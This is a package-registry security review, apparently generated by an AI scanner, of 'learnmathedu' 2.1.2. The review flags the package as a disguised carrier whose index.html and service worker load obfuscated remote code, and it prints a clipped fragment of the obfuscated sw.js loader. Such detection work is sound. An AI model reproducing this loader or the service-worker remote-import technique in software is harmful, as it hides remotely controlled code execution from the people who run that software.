registry / learnmathedu / 2.1.2

learnmathedu@2.1.2

math

AI Security Review

scanned 12d ago · by lpm-firewall-ai

Opening index.html loads a remote loader; its service worker also loads remote code selected at runtime. The packaged artifacts are obfuscated and act as a carrier rather than a self-contained math package.

Static reason

One or more suspicious static signals were detected.

Trigger

User opens the packaged HTML in a browser and permits service-worker/runtime execution.

Impact

A mutable remote payload can execute in the page and service-worker contexts.

Mechanism

runtime remote-code loading through dynamic import and importScripts

Rationale

This is a runtime staged-payload carrier with concealed remote execution, but source inspection found no concrete install-time malware or direct exfiltration. Warn rather than block.

Evidence

package.jsonREADME.mdindex.htmlsw.js

Decision evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for warning

index.html dynamically imports an obfuscated remote loader.
sw.js fetches a remote version then calls importScripts.
README identifies it as a YuriRTC static carrier, not math software.
Runtime code and endpoints are obscured by obfuscation.

Evidence against

package.json has no install lifecycle hook.
No package code reads local files, environment, or credentials at install.
No concrete credential or data exfiltration is visible in packaged files.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsMinifiedTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 4.43 KB of source

Source & flagged code

1 flagged

sw.jsView file

Lines 1-3javascript

1function _0x9a7e5e(_0x332ddc,_0x1c2211){return _0xb259(_0x332ddc- -0x73,_0x1c2211);}(function(_0x4b373d,_0x2a84d1){var _0x50e5b4={_0x36c24b:0x2be,_0x409bbb:0x2b9,_0xb5f95d:0x2be,_0x57d77c:0x2c5,_0x277542:0x2cc,_0x55d798:0x2bf,_0x53d8c6:0x2c9,_0xa908e1:0x2c4},_0xd127b={_0x23a3c3:0x20f},_0x489ca4=_0x4b373d();function _0x15558f(_0x5798f1,_0x551d8a){return _0xb259(_0x551d8a-_0xd127b._0x23a3c3,_0x5798f1);}while(!![]){try{var _0xa1af08=parseInt(_0x15558f(_0x50e5b4._0x36c24b,0x2c0))/0x1*(-parseInt(_0x15558f(_0x50e5b4._0x409bbb,0x2bd))/0x2)+-parseInt(_0x15558f(0x2c2,0x2ca))/0x3*(parseInt(_0x15558f(0x2 ...

2/*a9a424651d9bfb659834f3085ff38d81697f389be2f0352a8c2e550251e28014*/

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

sw.jsView on unpkg · L1

Long lines were clipped for display.

Source & flagged code

1 flagged · loading source

sw.jsView file

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

sw.jsView on unpkg · L1

Findings

1 High2 Medium2 Low

HighObfuscated Payload Loadersw.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings